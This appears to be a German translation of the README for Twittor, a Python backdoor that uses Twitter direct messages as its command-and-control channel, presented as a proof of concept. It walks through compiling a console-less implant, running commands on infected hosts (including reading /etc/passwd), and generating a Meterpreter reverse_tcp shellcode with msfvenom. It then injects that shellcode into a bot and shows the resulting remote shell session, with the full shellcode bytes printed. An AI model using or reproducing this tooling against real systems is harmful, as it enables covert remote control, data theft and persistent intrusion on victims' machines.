
Ein voll ausgestattetes Backdoor, das Twitter als C&C-Server nutzt.
Ein heimlicher Python-basierter Backdoor, der Twitter (Direktnachrichten) als Command-and-Control-Server verwendet. Dieses Projekt wurde inspiriert von Gcat, das dasselbe tut, aber ein Gmail-Konto verwendet.
Damit dies funktioniert, benötigst du:
Installiere die Abhängigkeiten:
$ pip install -r requirements.txt
Dieses Repository enthält zwei Dateien:
twittor.py, das der Client istimplant.py, der eigentliche Backdoor zum BereitstellenBearbeite in beiden Dateien den Access-Token-Teil und füge die zuvor generierten hinzu:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
Du wirst wahrscheinlich implant.py mit Pyinstaller in eine ausführbare Datei kompilieren wollen.
Um die Konsole beim Kompilieren mit Pyinstaller zu entfernen, helfen die Flags --noconsole --onefile. Nur so zur Info.
Um den Client auszuführen, starte das Skript.
$ python twittor.py
Du gelangst dann in eine 'interaktive' Shell, die einige wenige Befehle bietet:
$ help
refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client
$
list verfügbare Clients überprüfen:$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
Die Ausgabe ist die MAC-Adresse, die das System eindeutig identifiziert, gibt dir aber auch die Betriebssysteminformationen, auf dem der Implant läuft. In diesem Fall eine Linux-Kiste.
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
Hier sagen wir B7:76:1F:0B:50:B7, dass es cat /etc/passwd ausführen soll. Das Skript gibt dann die jobid aus, mit der wir die Ausgabe dieses Befehls abrufen können.
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
Der Befehl in diesem Fall ist !retrieve gefolgt von der jobid des Befehls.
Um neue Bots/Befehlsausgaben abzurufen, aber auch den Client zu zwingen, die Ergebnisse zu aktualisieren, verwende den Befehl refresh.
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
Dies sendet eine PING-Anfrage und wartet 10 Sekunden auf eine Antwort.
Die Direktnachrichten werden dann geparst – Die Botliste wird aktualisiert, aber auch die Befehlsliste, einschließlich neuer Befehlsausgaben.
Wie bereits erwähnt, werden (vorherige) Befehle aus älteren Direktnachrichten (Limit ist 200) abgerufen, und du kannst sie tatsächlich mit dem Befehl list_commands abrufen/anzeigen.
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
Diese Option könnte praktisch sein, um eine Meterpreter-Sitzung zu erhalten, und dieser Artikel ist wirklich nützlich.
Generiere deinen Meterpreter-Shellcode, wie:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
Extrahiere den Shellcode und sende ihn mit dem Befehl !shellcode an den angegebenen Bot!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$
Et voilà!
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400
meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
Öffne ein Bier und genieße deine Reverse-Meterpreter-Shell.
Das Projekt ist vollständig Open Source und unter der MIT-Lizenz veröffentlicht. Ich wollte hauptsächlich einen PoC erstellen, nachdem Twitter die 140-Zeichen-Beschränkung für Direktnachrichten aufgehoben hatte. Einige Dinge sollten noch hinzugefügt werden, wie Verschlüsselung (AES obendrauf). "Nachrichten" verwenden eine Wörterbuch-Datenstruktur, und der gesamte Befehl ist nur base64-kodiert. Forke das Projekt, trage bei, reiche Pull-Requests ein und hab Spaß.
Wenn du einen Fehler findest, öffne ein Issue auf GitHub und/oder ping mich auf Twitter an.
Nochmal, schau dir gerne das großartige Gcat-Projekt von byt3bl33d3r an, das mich sehr inspiriert hat.